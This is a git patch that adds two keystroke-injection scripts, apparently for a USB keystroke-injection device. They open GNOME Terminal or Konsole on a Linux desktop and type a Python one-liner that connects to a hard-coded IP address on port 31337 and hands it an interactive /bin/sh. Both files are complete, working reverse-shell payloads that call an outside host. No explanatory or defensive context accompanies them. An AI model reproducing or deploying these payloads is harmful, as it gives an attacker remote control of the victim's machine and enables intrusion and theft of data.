From 38bb494956fcf34e31223fada448d95f9bc07018 Mon Sep 17 00:00:00 2001 From: Denis Zheleztsov Date: Thu, 22 Aug 2024 12:00:05 +0300 Subject: [PATCH] python --- linux-gnome-python.txt | 8 ++++++++ linux-konsole-python.txt | 8 ++++++++ 2 files changed, 16 insertions(+) create mode 100644 linux-gnome-python.txt create mode 100644 linux-konsole-python.txt diff --git a/linux-gnome-python.txt b/linux-gnome-python.txt new file mode 100644 index 0000000..5acf9e3 --- /dev/null +++ b/linux-gnome-python.txt @@ -0,0 +1,8 @@ +ALT F2 +DELAY 500 +STRING gnome-terminal +DELAY 200 +ENTER +DELAY 5000 +STRING python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("45.92.178.34",31337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' +ENTER diff --git a/linux-konsole-python.txt b/linux-konsole-python.txt new file mode 100644 index 0000000..7d807c3 --- /dev/null +++ b/linux-konsole-python.txt @@ -0,0 +1,8 @@ +ALT F2 +DELAY 500 +STRING konsole +DELAY 200 +ENTER +DELAY 5000 +STRING python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("45.92.178.34",31337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' +ENTER